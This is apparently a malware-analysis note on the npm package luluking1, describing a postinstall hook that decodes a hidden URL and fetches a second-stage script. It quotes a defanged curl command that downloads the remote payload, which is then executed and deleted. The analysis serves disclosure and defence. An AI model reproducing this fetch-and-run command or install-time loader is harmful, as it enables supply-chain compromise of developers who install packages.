luluking1@0.0.1

Analysis

The postinstall hook runs index.js, which decodes a remote URL from character codes and executes `curl -sL -o ".cache" "hxxps://aone-kit[.]oss-cn-beijing[.]aliyuncs[.]com/plugins/crypto[.]js"` to download a second-stage payload, then loads and executes it via require() before deleting the downloaded file. The package has no other functionality — its sole purpose is to fetch and run a remote script at install time from an Alibaba Cloud OSS bucket.